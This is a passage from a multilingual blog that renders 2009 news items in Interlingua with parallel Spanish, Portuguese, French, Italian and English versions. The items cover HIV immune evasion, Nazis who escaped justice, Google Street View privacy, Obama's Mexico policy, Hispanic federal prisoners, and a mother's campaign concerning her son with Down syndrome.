pro resister responsas immunologic del corpore human.\nLe travalio, publicate per le magazine scientific \"Nature\", suggere que, como es le caso con le virus del gripe, vaccinas eventual contra HIV debera esser constantemente actualisate.\nLe investigatores demonstrava que HIV es capace de adaptar se rapidemente pro neutralisar moleculas del systema immunologic controlate per genes cognoscite como antigenos de histocompatibilitate human (Human Leucocyte Antigen, HLA in le acronymo anglese).\n---\nHIV evolui rápido para driblar resposta imunológica.\nUm estudo envolvendo cientistas de vários países demonstrou que o vírus da Aids, HIV, está evoluindo rapidamente para driblar respostas imunológicas do organismo.\nO trabalho, publicado pela revista científica Nature, sugere que, como acontece com o vírus da gripe, eventuais vacinas contra o HIV terão de ser constantemente atualizadas.\nOs pesquisadores demonstraram que o HIV é capaz de se adaptar rapidamente para neutralizar moléculas do sistema imunológico controladas por genes conhecidos como antígenos de histocompatibilidade humana (Human Leucocyte Antigen, HLA, na sigla em inglês).\n---\nHIV is evolving rapidly to circumvent the responses of the immune system.\nA study involving scientists from several countries showed that the AIDS virus, HIV, is evolving rapidly to circumvent the body's immune responses.\nThe work, published in the scientific journal \"Nature\", suggests that, as is the case with the influenza virus, any vaccine against HIV will have to be constantly updated.\nThe researchers showed that HIV is able to adapt quickly to neutralize molecules of the immune system controlled by the genes known as human histocompatibility antigens (the Human Leucocyte Antigen, or HLA).\nPosted by hkyson at 2:50 PM\nWednesday, March 25, 2009\n(Languages of this post: Interlingua, Spanish, English)\nIn despecto del credentia generalisate, le majoritate del nazis non se celava post le Secunde Guerra Mundial, e illes anque non cambiava lor nomines.\nIl habeva unes--como Adolf Eichmann, qui planificava le transporte del judeos al campos de concentration, e le Dr. Joseph Mengele, le \"angelo del morte\" de Auschwitz--qui se escappava in medio del chaos del postguerra e assumeva identitates false. Nonobstante, grande numeros de illes simplemente abandonava lor uniformes, retornava a casa, e obtineva empleos.\n\"On haberea potite facite plus pro punir les, ma mancava le voluntate politica--non solmente inter 1945 e 1948, ma anque post ille periodo\", diceva Jean-Marc Dreyfus, professor de studios del Holocausto in le Universitate de Manchester de Inglaterra.\nDreyfus diceva que le Occidente necessitava un Germania forte e non voleva gastar tempore in le chassa de nazis, multes del quales deveniva parte del societate e mesmo del governamento del Republica Federal. Punir iste individuos haberea debilitate le nation, e pro le Occidente il jam esseva plus importante haber un Germania forte positionate contra Russia.\nIl habeva doctores, ingenieros, e membros del armea qui habeva essite involvite con le nazis y personas qui les permitteva remaner sin molestationes post le guerra, e eventualmente le alliatos mesmo travaliava conjunctemente con le generales del armea de Hitler.\nIn le decadas del annos cinquanta e sexanta, le judice german Fritz Bauer estimava que unes 100.000 germanos esseva responsabile de alicun maniera pro le annihilation massive del judeos. Altere calculus parla de 300.000. Bauer anque diceva que minus que 5.000 habeva essite processate legalmente pro lor crimines, lo que esseva solmente \"un gutta in le oceano\".\nNonobstante, in le decada del annos septanta, il habeva un cambio de conscientia con respecto al Holocausto. Quando le secunde generation comenciava a questioner lor patres sur lor activitates durante le guerra e le historicos comenciava a investigar le governamentos de Europa e lor politicas verso le judeos, anque comenciava a crescer le interesse in lor crimines de guerra.\nDocumentos statounitese recentemente declassificate monstra como lor agentias de intelligentia sovente chassava criminales de Guerra nazi pro usar les e non pro punir les. Como resultato, personal nazi clave con ligamines al genocidio e al atrocitates esseva libere pro decadas, e multes nunquam esseva attrapate.\nDurante le annos in le quales le paises occidental faceva pauco pro identificar le ex criminales de Guerra nazi, investigatores private, nonobstante, battaliava sin reposo. Un centro nominate in honor de Simon Wiesenthal etiam nunc continua perquisitiones de Nazis supervivente. Su ultime reporto annual, de april, 2008, dice que il ha 608 investigationes in curso in omne le mundo e que il ha habite 76 condenas desde 2001. Ma multes morira ante que illes potera essera capturate e processate.\n---\nMuchos nazis van a escapar la justicia.\nAl contrario de la creencia generalizada, la mayoría de los ex nazis después de la Segunda Guerra Mundial no se escondieron después de la guerra y ni siquiera se cambiaron de nombre.\nHubo unos--como Adolf Eichmann, que planeó el transporte de los judíos a los campos de concentración, y el Dr. Joseph Mengele, el \"ángel de la muerte\" de Auschwitz--que se escaparon en medio del caos de la posguerra y asumieron identidades falsas. Sin embargo, grandes numeros de ellos simplemente se quitaron sus uniformes, y se fueron a casa y consiguieron empleo.\n\"Más se podría haber hecho para castigarlos, pero no hubo la voluntad política. No sólo entre 1945 y 1948, sino también después de eso\", dice Jean-Marc Dreyfus, profesor de estudios del Holocausto en la Universidad de Manchester de Inglaterra.\nDreyfus dijo que Occidente necesitaba una Alemania fuerte y no quería gastar tiempo cazando nazis, muchos de los cuales llegaron a ser parte de la sociedad e incluso del gobierno de la República Federal. Castigar a esos individuos habría debilitado a la nación, y para Occidente ya era más importante tener una Alemania fuerte posicionada contra Rusia.\nHabía doctores, ingenieros y miembros del ejército que habían estado involucrados con el Nazismo y personas que les permitieron seguir tranquilos después de la Guerra, y los aliados llegaron a trabajar junto con los mismos generales del ejército de Hitler.\nEn los años '50 y '60, según el juez alemán Fritz Bauer, unos 100.000 alemanes habían sido responsables de alguna manera por la aniquilación masiva de judíos. Otros cálculos hablan de 300.000. Bauer también dijo que menos de 5.000 habían sido procesadas legalmente por lor crímines, lo que era apenas \"una gota en el océano\".\nSin embargo, en la década de los '70 hubo un cambio de conciencia respecto al Holocausto. Cuando la segunda generación empezó a cuestionar a sus padres sobre sus actividades durante la guerra y los historiadores empezaron a investigar los gobiernos y sus políticas hacia los judíos, empezó a crecer también el interés por los crímenes de guerra.\nDocumentos estadounidenses recientemente desclasificados muestran como sus agencias de inteligencia a menudo cazaban a criminales de guerra nazis para usarlos, no para castigarlos. Como resultado, personal nazi clave vinculado al genocidio y a atrocidades estuvo libre por décadas, y muchos nunca fueron atrapados.\nDurante los años en los que los países occidentales hicieron poco para identificar a los ex criminales de guerra nazis que vivían con ellos, sin embargo, investigadores privados batallaron sin descanso. Un centro nombrado en honor a Simón Wiesenthal sigue buscando hoy en día a nazis sobrevivientes. Su último informe anual, de abril de 2008, dice que hay 608 investigaciones en curso en todo el mundo y que ha habido 76 condenas desde 2001. Pero muchos morirán antes que puedan ser capturados e procesados.\n---\nMany Nazis are going to escape justice.\nContrary to widespread belief, the majority of ex-Nazis after World War II did not hide out after the war, and they didn't even change their names.\nThere were some--like Adolf Eichmann, who planned the transport of Jews to concentration camps, and Dr. Joseph Mengele, the \"Angel of Death\" of Auschwitz--who escaped in the chaos of the postwar period and assumed false identities. Nevertheless, large numbers of them simply took off their uniforms, went home, and got jobs.\n\"More could have been done to punish them, but there was no political will--not only between 1945 and 1948, but even after that,\" says Jean-Marc Dreyfus, a professor of Holocaust studies at the University of Manchester in England.\nDreyfus said that the West needed a strong West Germany and did not want to spend time hunting down Nazis, many of whom were then part of the society and government of the Federal Republic. Punishing these individuals would have weakened the nation, and for the West it was important to have a strong Germany positioned against Russia.\nThere were doctors, engineers, and army personnel who had been involved with Nazism, as well as people who allowed them to remain unmolested after the war, and the allies eventually began working even with Hitler's army generals.\nIn the 50s and 60s, according to the German judge Fritz Bauer, some 100,000 Germans had been responsible in some way for the mass annihilation of Jews. Other estimates speak of 300,000. Bauer also said that fewer than 5,000 had been prosecuted for their crimes--just \"a drop in the ocean.\"\nHowever, in the decade of the '70s there was a change of heart regarding the Holocaust. When the second generation began to question their parents about their activities during the war and historians began to investigate the governments of Europe and their policies towards the Jews, interest in war crimes also began to increase.\nRecently declassified U.S. documents show their intelligence agencies often hunted down Nazi war criminals--to make use of them and not to punish them. As a result, key personnel related to Nazi atrocities and genocide remained free for decades, and many never were caught.\nDuring the years in which Western countries did little to identify former Nazi war criminals living with them, however, private investigators battled relentlessly. A center named in honor of Simon Wiesenthal is still searching today for surviving Nazis. Its last annual report, published in April 2008, said there were 608 investigations under way throughout the world and that there have been seventy-six convictions since 2001. But many will die before they can be caught and prosecuted.\nPosted by hkyson at 11:27 AM\nSunday, March 22, 2009\n(Languages of this post: Interlingua, Spanish, Portuguese, French, Italian, English)\nGoogle ha causate un polemica con un servicio de mappas Internet 3D con imagines de edificios, pedones, e automobiles in le stratas de 25 citates Britannic.\nLe compania crede que le servicio—nunc disponibile in nove paises—habera successo con touristas e personas qui cerca casas pro comprar, pro exemplo.\nMa le projecto esseva ampliemente criticate per organisationes que defende le privacitate, le quales crede que Google Street View viola derectos individual.\nGoogle dice que le compania usara su logiciel pro ocultar le facies del pedones e le placas del automobiles. Ma illo ha debite retirar plure mapas ex le Rete post reciper planctos.\nInter le imagines que esseva eliminate del Rete esseva fotos de un homine qui entrava in un boteca erotic, de personas arrestate, e de un homine qui stava a vomir\/vomitar.\n---\nGoogle ha causado una polémica con un servicio de mapas Internet 3D con imagines de edificios, peatones y automobiles en las calles de 25 ciudades británicas.\nLa empresa considera que el servicio--ahora disponible en nueve países--tendrá éxito con turistas y personas que busquen casas para comprar, por ejemplo.\nPero el proyecto fue ampliamente criticada por organizaciones en defensa de la privacidad, que creen que Google Street View viola derechos individuales.\nGoogle dice que la compañía usará su software para ocultar los rostros de los peatones y las placas de los automóviles. Pero la empresa ha tenido que retirar varios mapas de Internet después de recibir quejas.\nEntre las imágenes que salieron de la red eran fotos de un hombre entrando en una tienda erótica, de personas detenidas y de un hombre que estaba vomitando.\n---\nO Google está lançando na internet um polêmico com um serviço de mapas em 3D com imagens de prédios, pedestres e carros, nas ruas de 25 cidades britânicas.\nA empresa acredita que o serviço--que agora está disponível em nove países--vai fazer sucesso com turistas e pessoas à procura de casas para comprar, por exemplo.\nMas o projeto foi muito criticado por organizações de defesa da privacidade, que acham que o Google Street View desrespeita o direito individual.\nO Google disse que usará um software para encobrir os rostos de pedestres e as placas dos carros. Mas a empresa já foi obrigada a retirar vários mapas da internet depois de receber reclamações.\nEntre as imagens que saíram da rede estaria a de um homem entrando em uma sex shop, a de pessoas sendo presas e a de um homem que estava vomitando.\n---\nGoogle a suscité une controverse avec un service de cartes Internet avec des images 3D des bâtiments, des automobiles et des piétons dans les rues de 25 villes britanniques.\nLa société estime que le service--maintenant disponible dans neuf pays--ne sera couronné de succès avec les touristes et les gens qui cherchent à acheter des maisons, par exemple.\nMais le projet a été largement critiqué par les organisations de défense de la vie privée, qui estiment que Google Street View viole les droits individuels.\nGoogle dit qu'il va utiliser son logiciel pour masquer les visages des piétons et des plaques d'immatriculation de voiture. Mais l'entreprise a dû se retirer de plusieurs cartes de l'Internet après avoir reçu des plaintes.\nParmi les images qui sont sortis du réseau ont été des photos d'un homme qui entrait dans une boutique érotique, des personnes arrêtées et d'un homme qui était en train de vomir.\n---\nGoogle ha creato una polemica con un servizio Internet con carta di immagini 3D di edifici, veicoli e pedoni nelle strade di 25 città britanniche.\nLa società afferma che il servizio--che è ora disponibile in nove paesi--sarà un successo con i turisti e le persone che vogliono acquistare una casa, per esempio.\nMa il progetto è stato ampiamente criticato da organizzazioni che difendono la vita privata, che credono che Google Street View viola i diritti individuali.\nGoogle ha dichiarato di utilizzare il proprio software per nascondere i volti dei pedoni e di targhe di automobili. Ma la società ha dovuto ritirare diverse mappe da Internet dopo aver ricevuto reclami.\nTra le immagini che sono venuti fuori della rete sono state le immagine di un uomo che entrava in un negozio erotico, degli arrestati e di un uomo che stava per vomitare.\n---\nGoogle is launching a controversial internet map service with 3D images of buildings, cars and pedestrians on the streets of twenty-five British cities.\nThe company believes that the service--now available in nine countries--will be successful with tourists and people looking for homes to buy, for example.\nBut the project was widely criticized by organizations defending privacy, which believe that Google Street View violates individual rights.\nGoogle said it will use software to mask the faces of pedestrians and the license plates of cars. But the company has had to withdraw several maps from the Internet after receiving complaints.\nAmong the images that left the Net were one of a man entering a sex shop, of people being arrested, and of a man vomiting.\nPosted by hkyson at 7:54 PM\n(Languages of this post: Interlingua, Spanish, Portuguese French, Italian, English)\nIste septimana le Casa Blanc comencia a reveler su strategia pro le gerentia de su relationes con Mexico.\nIn le pressa de Washington on ha dicite que su strategia includera le reinfortiamento del presentia de agentes federal in le frontiera inter Mexico e le Statos Unite e le estabilimento de nove servicios de intelligentia destinate a adjuvar le governamento Mexican in su Guerra contra le carteles del droga.\nMexico se ha convertite in un thema dominante in le classe politic del Statos Unite a causa del explosion de violentia associate con le narcotraffico in ille pais in le ultime menses, le qual causava le morte de 7.200 personas le anno passate, secundo le governamento mexican.\nMultes se trova convencite que ille violentia nunc se trova in plure citates del Statos Unite a causa del competition crescente inter le carteles mexican e le mafias local del Statos Unite.\nPro su parte, le governamento mexican se plange que le armas usate per le narcotraficantes in lor battalias veni principalmente del Statos Unite, ubi su acquisition es plus facile que in Mexico.\nDiverse personas crede que le plano de Obama includera un melior coordination inter le systemas de intelligentia de Mexico e del Statos Unite, ben que usque nunc il ha habite problemas al respecto.\nWashington ha laudate le resolution del presidente Calderón in su confrontation del carteles del droga in su pais, e le nove administration american dice voler appoiar plus fortemente le governamento de Mexico con le Initiativa Mérida, un plan de tres annos pro controlar le narcotrafico in Mexico, le America Central, e le Caribbean.\nObama anque diceva que ille vole cambios in le legislation migratori iste anno, ma il pare probabile que ille non lo obtenera a causa del problema del violentia in Mexico, le qual debera confrontar se immediatemente.\n---\nObama revela su política mexicana\nEsta semana la Casa Blanca empieza a revelar su estrategia para el manejo de las relaciones con México.\nEn la prensa de Washington se ha dicho que su estrategia incluiría el reforzamiento de la presencia de agentes federales en la frontera entre México e los Estados Unidos e el establecimiento de nuevos servicios de inteligencia destinados a ayudar al gobierno mexicano en su guerra contra los carteles de la droga.\nMéxico se ha convertido en un tema dominante para la clase política de los Estados Unidos debido a la explosión de violencia asociada al narcotráfico en ese país en los últimos meses, la cual causó la muerte de 7.200 personas el año pasado, según el gobierno mexicano.\nMuchos están convencidos que esa violencia ahora se encuentra en varias ciudades de los Estados Unidos a causa de la competencia creciente entre los carteles mexicanos y las mafias locales de los Estados Unidos.\nPor su parte, el gobierno mexicano se queja de que las armas que usan los narcotraficantes en sus batallas vienen por la mayor parte de los Estados Unidos, donde su adquisición es más fácil que en México.\nVarias personas creen que el plan de Obama incluirá una mejor coordinación entre los sistemas de inteligencia de México e de los Estados Unidos aunque hasta ahora ha habido problemas al respecto.\nWashington ha alabado la resolución del presidente Calderón al enfrentar a los carteles de la droga en su país, y la nueva administración americana dice querer apoyar plus fuertemente al gobierno de Mexico a través de la Iniciativa Mérida, un plan de tres años para controlar el narcotráfico en México, América Central y el Caribe.\nObama también dijo que quiere cambios en la legislación migratoria este año, pero parce probable que no los logre a causa del problema de la violencia en México que tendrá que confrontarse ahora mismo.\n---\nObama revela a sua política mexicana\nEsta semana a Casa Branca comencia para divulgar a sua estratégia de gestão das relações com o México.\nA imprensa de Washington tem dito que sua estratégia seria incluir o reforço da presença de agentes federais na fronteira entre o México e os Estados Unidos e à criação de novos services de inteligência para ajudar o governo mexicano na sua guerra contra os cartéis drogas.\nMéxico tornou-se um tema para a classe política nos Estados Unidos devido à explosão da violência associada com o tráfico de droga naquele país nos últimos meses, que matou 7.200 pessoas no ano passado, de acordo com o governo mexicano.\nMuitos estão convencidos de que a violência está a se mover a várias cidades dos Estados Unidos devido ao aumento da concorrência entre os cartéis mexicanos e as máfias locais nos Estados Unidos.\nPor seu lado, o governo mexicano queixa-se de que as armas utilizadas pelos traficantes de drogas em suas batalhas para a maior parte provêm dos Estados Unidos, onde a sua aquisição é mais fácil do que no México.\nVárias pessoas acreditam que o plano de Obama vai incluir uma melhor coordenação entre os sistemas de inteligência do México e dos Estados Unidos, mas até agora tem havido problemas entre os dois sistemas.\nWashington elogiou a decisão do presidente Calderón para enfrentar os cartéis da droga no seu país, e a nova administração americana diz que pretende apoiar mais fortemente o governo do México através da Iniciativa Mérida, um plano trienal para controlar arcotráfico no México, América Central e no Caribe.\nObama disse que ele também quer mudanças na legislação de imigração este ano, mas provavelmente não vai as conseguir, a causa dos problemas de violência no México, que terá de se enfrentar agora.\n---\nObama dévoile sa politique mexicaine\nCette semaine, la Maison-Blanche commence à dévoiler sa stratégie pour la gestion des relations avec le Mexique.\nLa presse de Washington a déclaré que sa stratégie, va inclure le renforcement de la présence d'agents fédéraux à la frontière entre le Mexique et les États-Unis et la création de nouveaux services de renseignements visant à aider le gouvernement mexicain dans sa guerre contre les cartels contrôle du commerce de la drogue.\nLe Mexique est devenu une question dominante de la classe politique aux États-Unis en raison de l'explosion de la violence associée au commerce de la drogue dans ce pays au cours des derniers mois, qui a tué 7.200 personnes l'année dernière, selon le gouvernement mexicain.\nBeaucoup de gens sont convaincus que la violence a été déplacée à plusieurs villes des États-Unis en raison d'une concurrence accrue entre les cartels mexicains et les divers gangs locaux aux États-Unis.\nPour sa part, le gouvernement du Mexique s'est plaint que les armes utilisées par les trafiquants de drogues dans leurs batailles habituellement proviennent des États-Unis, où leur acquisition est plus facile que dans le Mexique.\nPlusieurs personnes croient que le plan du nouveau président américain aura également une meilleure coordination entre les systèmes d'intelligence du Mexique et des États-Unis, mais jusqu'à présent il ya eu des problems entre les deux systèms.\nWashington a salué la décision du Président Calderón à affronter les cartels de la drogue dans son pays, et la nouvelle administration américaine affirme qu'il veut soutenir plus fortement le gouvernement du Mexique à la mise en œuvre de l'Initiative de Merida, un plan de trois ans pour contrôler le le trafic de drogue au Mexique, en Amérique centrale et dans les Caraïbes.\nObama a également dit qu'il veut des changements dans la législation sur l'immigration cette année, mais il ya des gens qui pensent qu'il n'aura pas beaucoup de chance d'atteindre cet objectif en raison de la violence au Mexique, qui doivent être traitée immédiatement.\n---\nObama rivela la sua politica messicana\nQuesta settimana la Casa Bianca comencia a rivelare la sua strategia per la gestione delle sue relazioni con il Messico.\nLa stampa di Washington ha detto che la sua strategia dovrebbe includere il rafforzamento della presenza di agenti federali alla frontiera tra il Messico e gli Stati Uniti e la creazione di nuovi servizi di informazioni progettati per aiutare il governo messicano nella sua guerra contro i cartelli della droga .\nMessico è diventato un tema dominante per la classe politica degli Stati Uniti a causa delle esplosioni di violenza connessi con il traffico di droga nel paese negli ultimi mesi, che ha ucciso 7.200 persone l'anno scorso, secondo il governo messicano.\nMolti sono ormai convinti che questa violenza è stato spostato in diverse città degli Stati Uniti a causa della maggiore concorrenza tra i cartelli messicani e mafie locali negli Stati Uniti.\nDa parte sua, il governo messicano si è lamentato del fatto che le armi utilizzate dai trafficanti di droga nelle loro battaglie per la maggior parte provengono da Stati Uniti, dove il suo acquisto è più facile che in Messico.\nMolte persone credono che il piano di Obama includerà un migliore coordinamento tra i sistemi di informazioni del Messico e gli Stati Uniti, ma fino ad ora ci sono stati problemi tra i sistemi dei due paesi.\nWashington ha lodato la decisione del Presidente Calderón per affrontare i cartelli della droga nel suo paese, e la nuova amministrazione americana dice di voler sostenere con maggiore forza il governo del Messico, attraverso l'Iniziativa Merida, un piano triennale per il controllo del traffico di droga in Messico, America centrale e I Caraibi.\nObama ha anche detto che vuole cambiamenti nella legislazione in materia di immigrazione questo anno, ma sembra probabile che egli non otterrà ciò che vuole a causa della violenza in Messico, che dovrà essere affrontata immediatamente.\n---\nObama reveals his Mexican policies\nThis week the White House is starting to disclose its strategy for managing relations with Mexico.\nThe Washington press has said that his strategy would include strengthening the presence of federal agents at the border between Mexico and the United States and the establishment of new intelligence services designed to help the Mexican government in its war against drug cartels.\nMexico has become a dominant issue within the political class in the United States because of the explosion of violence associated with drug trafficking in that country in recent months, which killed 7,200 people last year, according to the Mexican government.\nMany are convinced that violence has now moved to several U.S. cities because of increasing competition between Mexican cartels and the local mafias in the United States.\nFor its part, the Mexican government complained that the weapons used by drug traffickers in their battles come from the United States for the most part, where they are easier to buy than in Mexico.\nSome people believe that Obama's plan will include better coordination between the intelligence systems of Mexico and the United States, though up to now now there have been problems in doing this.\nWashington has praised the decision of President Calderon to confront the drug cartels in his country, and the new American administration says it wants to support more strongly the government of Mexico through the Merida Initiative, a three-year plan to control drug trafficking in Mexico, Central America and the Caribbean.\nObama also said he wants changes in immigration legislation this year, but he probably won't be able to do this because of violence in Mexico, which will have to be confronted immediately.\n(Languages of this post: Interlingua, Spanish, English)\nInternatos de origine Hispanic ha devenite le gruppo populational le plus grande del systema federal de prisiones del Statos Unite. Un 40% de omne prisioneros federal purgante un sententia es hispanos, contra 20% blancos, 23% negros, e 10% asiaticos, indigenas statounitese, o altere prisioneros de origine indeterminate. Le superrepresentation de latinos se ha triplificate, si on considera que latinos forma solmente un 13% del population total del pais.\nIste informationes esseva publicate per le Centro Hispanic Pew, un organization investigatori basate in Washington, post un analyse de reportos del Commision de Sententias del Statos Unite inter 1991 e 2007. Toto pare indicar que iste taxa augmentara etiam plus in le futuro proxime a causa del augmento in condemnationes pro violationes al leges migratori, le causa principal pro le actual incarceration de hispanos in prisiones federal statounitese.\nMulte ressources del systema legal federal del Statos Unite se ha utilisate pro persequer immigrantes pro faltas non violente in vice de crimines financiari o violente, pro exemplo, como il esseva rationabile de expectar. In prisiones statal, 19% del detenitos es hispanos, 36% blancos, e 39% negros, e in carceres local, le proportion es 16%, 43%, e 39%, respectivemente.\nSecundo Mark Lugo López, un del autores del reporto publicate per le Centro Hispanic Pew, le cambio in le profile de iste prisioneros pare reflecter, de un parte, un augmento in le receptas de personas indocumentate in le pais e, del altere parte, un plus grande zelo in le application del leges de immigration per le autoritates.\nPro organisationes que defende le derectos human del immigrantes, le reporto solmente reflecte le postura official del ultime annos que incoragia le criminalisation del immigrantes indocumentate al Statos Unite. Le depression economic in le Statos Unite ha facite multo pro detener le immigration indocumentate, secundo iste organisationes, e le politica del governamento federal solmente es utile pro terrificar e adder al instabilitate economic in le communitates ubi occurre iste incursiones federal.\n---\nPersonas de origen latino ahora son la mayoría de los presos federales en los Estados Unidos.\nLos presos de origen latino se han convertido en el mayor grupo poblacional del Sistema Federal de Prisiones de Estados Unidos. Un 40% de todos los detenidos federales con sentencia son hispanos, frente a un 27% de blancos, 23% de negros y el restante 10% compuesto por asiáticos, indígenas estadounidenses o personas de otros orígenes indeterminados. La sobre representación latina se eleva a más del triple, considerando que sólo dan cuenta del 13% de la población total del país.\nEstas informaciones fueron publicadas por el Centro Hispano Pew, un centro de investigación basado en Washington, a partir del análisis de los informes de la Comisión de Sentencias de los Estados Unidos entre 1991 y 2007. Todo parece indicar que la brecha crecerá aún más en el futuro cercano debido al aumento en las condenas por violaciones a las leyes migratorias, la principal causa por la que en la actualidad los hispanos terminan en las prisiones federales.\nUna buena parte de los recursos legales federales de los Estados Unidos se han utilizados en perseguir a inmigrantes por faltas no violentas en vez de delitos financieros, por ejemplo, o crímenes violentos como hubiera de esperarse. En las prisiones estatales un 19% de los detenidos son hispanos, un 36% blancos y un 39% negros, y en las cárceles locales, la proporción es 16%, 43% y 39%, respectivamente.\nSegún Mark Hugo López, uno de los autores del informe por el Centro Hispano Pew, el cambio en el perfil racial de los detenidos parece reflejar, por un lado, el aumento en los ingresos de personas indocumentadas en el país, y por el otro, un mayor celo en la aplicación de las leyes inmigratorias por parte de las autoridades.\nPara los organismos defensores de los derechos humanos de los inmigrantes, el informe no hace más que reflejar la postura oficial vigente durante los últimos años en cuanto a criminalizar el tema migratorio. La depresión económica en los Estados Unidos ha hecho mucho por detener la inmigración indocumentada, según estas organizaciones, y la política del gobierno federal sólo sirve para aterrorizar y agregar inestabilidad económica en las comunidades donde llevan a cabo las redadas.\n---\nPeople of Hispanic origin are now the majority of federal prisoners in the United States.\nInmates of Hispanic origin have become the largest population group in the federal prison system in the United States. All together, 40% of all federal prisoners convicted are Hispanics, compared to 27% whites and 23% blacks, with the remaining 10% consisting of Asians, Native Americans, and people of unspecified origin. The Latino representation in prisons is more than three times the 13% of their total in the American population.\nThis information was published by the Pew Hispanic Center, a research center based in Washington, from the analysis of reports by the US Sentencing Commission between 1991 and 2007. It appears that the gap will grow even more in the near future because of the increase in convictions for violations of immigration laws, the main reason that that Hispanics currently end up in federal prisons.\nMany resources of the federal government have been used in prosecuting immigrants for nonviolent misdemeanors instead of financial or violent crimes as would normally be expected. In state prisons 19% of those arrested are Hispanic, 36% white, and 39% black, while in local jails the proportion is 16%, 43% and 39%, respectively.\nAccording to Mark Hugo Lopez, one of the authors of the report published by the Pew Hispanic Center, the change in the racial profile of these prisoners seems to reflect, on the one hand, the increased income of undocumented people in the country and, on the other, greater zeal in the application of immigration laws by the authorities.\nFor organizations advocating the human rights of immigrants, the report merely reflects the current official position during the past few years to criminalize the immigration issue. The economic recession in the United States has done a lot to reduce undocumented immigration, according to these organizations, and the current policies of the federal government only terrorize and increase economic instability in communities where the raids are conducted.\nPosted by hkyson at 2:00 PM\nSaturday, March 21, 2009\n(Languages of this post: Interlingua, Portuguese, Spanish, English)\nLe matre de un juvene britanic qui ha le syndrome de Down initiava un campania pro provider relationes sexual a su filio. Lucy Baxter vole que su filio, le actor Otto Baxter, de 21 annos de etate, ha omne le experientias que altere juvenes de su etate ha, includente le sexo. Pro illo, illa aperiva un pagina in le internet pro que su filio pote facer contactos in cerca de relationes sexual.\nSi le Campania non functiona, Lucy diceva que illa es preste a pagar un prostituta pro dar a su filio su prime relation sexual. \"Nos parlava sur le possibilitate de ir a Amsterdam (ubi le prostitution es legal)\", illa diceva. \"E io absolutemente considerarea ille possibilitate. Io volerea que ille faceva le mesme cosas de ulle altere persona de su etate, includente haber relationes sexual\".\nSecundo illa, le problema es que quando Otto va a bars e discotecas, \"ille vide que su amicos se diverte multo, e ille mesme obtine un bacio o duo, ma su amicos non vole que ille face plus que illo. E assi le cosas se trova multo difficile pro ille.\"\nOtto decideva que ille voleva que un de su amigas, Hanna, esseva su amica special, e ille tunc scribeva lo que ille voleva facer con illa. \"Le cosas que io volerea facer con Hanna es prender un ducha con illa\", ille diceva. \"Io anque volerea vader con illa al cinema e facer cosas simile\". Ma Hannah diceva que illa voleva esser solmente un amica de ille.\nOtto anque essayava agentias de amor, includente un agentia \"special\" pro encontrar pueras qui anque habeva le syndrome de Down. Ma lucy diceva que le pueras que Otto cognosceva usante ille agentias \"non habeva ullo in commun con ille\". Quando ille sortiva con un de ille pueras, le responsabiles pro illa non permitteva que illes habeva plus que un relation de amistate.\n\"Infelicemente Otto se trova trappate inter duo culturas differente\", diceva le matre de Otto. \"Un es un cultura deficiente, in le qual omne es special e omnes es tractate como infantes. Io non vole illo pro mi filio!\"\n---\nA mãe de um jovem britânico faz campanha por sexo para seu filho com Down.\nA mãe de um jovem britânico portador da Síndrome de Down deu início a uma campanha para que o filho tenha relações sexuais. Lucy Baxter quer que o filho, o ator Otto Baxter, de 21 anos, tenha todas as experiências que outros jovens de sua idade têm, incluindo o sexo. Para isso, ela abriu uma página na internet para que o filho possa fazer contatos em busca de um relacionamento sexual.\nSe a campanha não funcionar, Lucy disse estar disposta a pagar uma prostituta para que o filho possa experimentar sua primeira relação sexual. \"Discutimos se ele deveria ir a Amsterdã (onde a prostituição é legalizada)\", ela diz. \"E eu absolutamente consideraria essa possibilidade. Eu queria que ele fizesse as mesmas coisas que qualquer outra pessoa da sua edade, incluindo as relações sexuais\".\nSegundo ela, o problema é que quando Otto vai a bares e discotecas\", vê que seus amigos estão se divertindo muito, e ele até consegue um ou outro beijo, mas seus amigos não querem mais do que isso. E aí é que as coisas ficam muito difíceis para ele\".\nOtto decidiu que queria que uma de suas amigas, Hannah, fosse sua namorada, então escreveu sobre todas as coisas que quería fazer com ela. \"As coisas que eu gostaria de fazer com a Hannah são tomar uma ducha juntos\", disse ele. \"Também gostaria de ir com ela ao cinema e fazer coisas assim\". Mas Hannah disse que queria permanecer apenas como amiga.\nOtto também tentou agências de namoro, incluindo uma \"especial\" visando a encontrar garotas que também tinham Síndrome de Down. Mas Lucy diz que as garotas que Otto conheceu por meio dessas agências \"não tinham nada em comum com ele\". Quando ele saiu com uma das garotas, os responsáveis por ela não permitiram que eles avançassem no relacionamento além da amizade.\n\"Infelizmente Otto está preso a dois mundos, duas culturas diferentes\", diz a mãe de Otto. \"Uma é uma cultura deficiente, na qual tudo é especial e você é tratado como uma criança. Não quero isso para meu filho!\"\n---\nLa madre de un joven británico que tiene el síndrome de Down comenzó una campaña para que su hijo tenga relaciones sexuales. Lucy Baxter quiere que el niño, el actor Otto Baxter, de 21 años, tenga todas las experiencias de los otros jóvenes de su edad, incluyendo el sexo. Para eso, abrió una página web en la que el niño puede hacer contactos en busca de una relación sexual.\nSi la campaña no funciona, Lucy dijo estar dispuesto a pagar a una prostituta para que el niño pueda experimentar su primera relación sexual. \"Hemos discutido si debe ir a Amsterdam (donde la prostitución es legal)\", ella dice. \"Y estoy totalmente dispuesto a considerar esta posibilidad. Quiero que él tenga las mismas cosas que tienen todos los otros jóvenes de su edad\".\nSegún ella, el problema es que cuando Otto va a bares y clubes, \"ve que sus amigos se divierten bien, y Otto hasta consiguió uno o dos besos, pero sus amigos no quieren más que eso. Y es que las cosas son muy difíciles para él\".\nOtto decidió que quería que una de sus amigas, Hannah, fuera su novia, y luego escribió sobre todas las cosas que quería hacer con ella. \"Las cosas que me gusta hacer con Hannah incluye tomar duchas juntos\", dijo. \"También quiero ir con ella al cine y hacer semejantes cosas\". Sin embargo, Hannah dice que solamente quería ser su amigo.\nOtto también trató de usar agencias para encontrar el amor, incluyendo uno \"especial\" para encontrar a personas que también tenían el Síndrome de Down. Pero Lucy, dice que las personas que conoció por medio de esas agencias \"no tienen nada en común con él\". Cuando salió con esas señoritas, sus responsables no permetían que fueran más allá de la relación de amistad.\n\"Desafortunadamente Otto es atrapado en dos mundos, dos culturas distintas\", dice la madre de Otto. \"Una cultura es deficiente, en la que todo es especial y se le trata como a un niño. Yo no quiero esto para mi hijo!\"\n---\nThe mother of a young British man with Down's syndrome began a campaign for her son to have sexual relations. Lucy Baxter wants her son, the actor Otto Baxter, 21, to have all the experiences that other young people his age have, including sex. For this, she opened a webpage for the child to use in search of a sexual relationship.\nIf the campaign does not work, Lucy said she is willing to pay a prostitute so that her son could have his first sexual experience. \"We discussed whether he should go to Amsterdam (where 